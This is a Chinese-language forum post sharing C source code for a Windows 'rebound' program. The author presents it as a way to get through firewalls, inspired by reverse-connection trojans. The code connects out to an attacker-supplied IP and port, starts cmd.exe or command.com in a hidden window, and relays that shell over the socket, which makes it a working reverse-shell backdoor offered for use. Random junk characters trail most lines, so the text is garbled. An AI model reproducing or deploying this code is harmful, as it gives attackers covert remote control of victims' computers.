这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 a9%#
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/* ============================== ~7|z 2L
Rebound port in Windows NT c{[WOrA~#
By wind,2006/7 H`sV\'`!}
===============================*/ V.qB3V$
#include %y'#@%kO:S
#include WD<M
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#pragma comment(lib,"wsock32.lib") 3~ylBJJ
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void OutputShell(); Pg7/g=Va
SOCKET sClient; [LE_lATjU
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :|bPr_&U$
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void main(int argc,char **argv) YRFM1?*
{ Dcq^C LPY
WSADATA stWsaData; 9#+X?|p+0
int nRet; pnWDsC~)
SOCKADDR_IN stSaiClient,stSaiServer; ~O!v?2it8q
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if(argc != 3) tG'c79D\
{ umY4tNe]$
printf("Useage:\n\rRebound DestIP DestPort\n"); o}BaZ|iZ2
return; -O\`G<s%
} $4m{g"xL
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WSAStartup(MAKEWORD(2,2),&stWsaData); ebf0;1!
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C
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stSaiClient.sin_family = AF_INET; \O[Cae:^?
stSaiClient.sin_port = htons(0); n,`&f~tap
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ` 6PdMvF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) uTQ/_$
{ O:4.xe
printf("Bind Socket Failed!\n"); opKtSF|)
return; vq|W&
} =4G9ev
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stSaiServer.sin_family = AF_INET; vb# d%1b5
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); h-V5&em"_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Xcb\N
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >>p3#~/
{ vNP,c]:%
printf("Connect Error!"); D+tn<\LF
return; R4{2+q=0
} e(sQgtM6
OutputShell(); wJip{
} !RV}dhI
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void OutputShell() F9N)UW:w
{ -[Q%Vv!8
char szBuff[1024]; ~)ls.NXI
SECURITY_ATTRIBUTES stSecurityAttributes; 5TqX;=B
OSVERSIONINFO stOsversionInfo; V#zDYrp
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 72.ZE%Ue
STARTUPINFO stStartupInfo; XDU&Z2A
char *szShell; {2A/ @$?
PROCESS_INFORMATION stProcessInformation; lj(}{O
unsigned long lBytesRead; KnKV+:"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "YM)bc
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 49cQA$Ad
stSecurityAttributes.lpSecurityDescriptor = 0; zxY
stSecurityAttributes.bInheritHandle = TRUE; |d&a&6U:
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6s@'z<Ct
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GHfsq|*j,Z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); d
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;
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stStartupInfo.wShowWindow = SW_HIDE; gq!|0
stStartupInfo.hStdInput = hReadPipe; 1d,;e:=j
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;
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GetVersionEx(&stOsversionInfo); YLk/16r
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switch(stOsversionInfo.dwPlatformId) 1jO}{U
{ 6"b =aPTi
case 1: @Pb!:HeJE
szShell = "command.com"; U:"E:Bxz;m
break; f
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default: _ 7X0
szShell = "cmd.exe"; u?r=;:N|y
break; *H8(G%a!^
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0P_qtS
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send(sClient,szMsg,77,0); 4*&_h g)h
while(1) Yjx*hv&?
{ g)nsP
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FMhSHa/B
if(lBytesRead) |]y]K%
{ v!JQ;OX
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BxVo>r
send(sClient,szBuff,lBytesRead,0); 8bd&XieE
} $9)| cO
else 'tm%3`
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{ WW\t<O;z
lBytesRead=recv(sClient,szBuff,1024,0); k` cz$>
if(lBytesRead<=0) break; :+: vBrJm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;Sl]8IZ
} [oqb@J2
} l.NV]up+
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return; FwKT_XkY
}